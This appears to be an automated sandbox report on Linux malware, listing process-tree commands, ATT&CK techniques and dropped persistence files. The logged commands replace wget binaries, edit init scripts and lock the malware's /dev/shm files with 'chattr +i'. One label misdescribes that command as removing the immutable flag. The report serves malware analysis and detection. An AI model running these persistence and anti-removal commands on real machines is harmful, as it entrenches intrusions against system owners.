                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1357
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1358
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1359
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1361
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1362
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1363
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1365

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1222

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1222.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Checks

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Network Service Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1046

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Wi-Fi Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1016.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Network Connections Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1049

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Checks

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/cron.d/guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 f4aed9294bbe1038264345e61215820571207d519660bb217fd717bd05cc6dc1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/init.d/guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 92B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 03561910ba242c345b6266e8318b5957181b54f56ba922b32e5d5865c0536861
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 49B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 236b036073039580e5098f3f85464b0fee0af9f3444b4d27c7d23d274ee79dc3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 98B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 7f2f41861890a9e3f1e97eb6057e9a918a88cc7237b899d2abd718cb58712712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 147B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e2847118b1b85032a0eea7b95f37daf3612fff9d075e0b1d4609afc8bfb3029d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 196B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 41eabfb29eb4fa83b5ee3a394e01fdaa7472f88eff0db0b70bed64f82ce4ea84
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 245B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 44469171c3bad7ec62d61556ff77b7b7a95efa3a9c13660774342a18b10f6e87
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 294B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 6f80251109b2673f4c3f9ce3dfd739c26524e1eba2bbc606e4fcfe2da6b909c1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
